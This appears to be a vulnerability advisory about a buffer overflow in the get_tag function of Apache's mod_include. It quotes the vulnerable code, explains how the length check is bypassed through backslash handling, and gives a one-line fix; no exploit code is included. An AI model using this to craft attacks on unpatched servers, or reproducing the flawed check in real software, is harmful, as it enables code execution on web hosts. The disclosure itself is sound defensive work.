Technical Details:

there is an overflow in get_tag function:                                                                                 
                                                                                                            
static char *get_tag(pool *p, FILE *in, char *tag, int tagbuf_len, int dodecode) 
{ 
... 
term = c; 
while (1) { 
GET_CHAR(in, c, NULL, p); 
[1] if (t - tag == tagbuf_len) { 
*t = '\0'; 
return NULL; 
} *
// Want to accept \" as a valid character within a string. // 
if (c == '\\') { 
[2] *(t++) = c; // Add backslash // 
GET_CHAR(in, c, NULL, p); 
if (c == term) { // Only if // 
[3] *(--t) = c; // Replace backslash ONLY for terminator // 
} 
} 
else if (c == term) { 
break; 
} 
[4] *(t++) = c; 
} 
*t = '\0'; 
... 

as we can see there is a [1] check to determine the end of tag buffer 
but this check can be skiped when [2] & [4] conditions will be occured
at the same time without [3] condition.

So attacker can create malicious file to overflow static buffer, on 
which tag points out and execute arbitrary code with privilegies of 
httpd child process. 

Fix: 
[1*] if (t - tag >= tagbuf_len-1) { 

Notes: To activate mod_include you need write "XBitHack on" in httpd.conf
